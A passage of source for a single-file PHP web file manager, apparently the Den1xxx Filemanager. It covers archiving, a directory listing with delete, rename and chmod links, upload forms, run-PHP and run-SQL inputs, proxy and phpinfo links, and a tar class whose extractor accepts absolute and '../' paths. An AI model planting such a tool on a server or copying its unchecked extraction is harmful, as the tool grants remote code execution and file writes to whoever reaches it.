basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>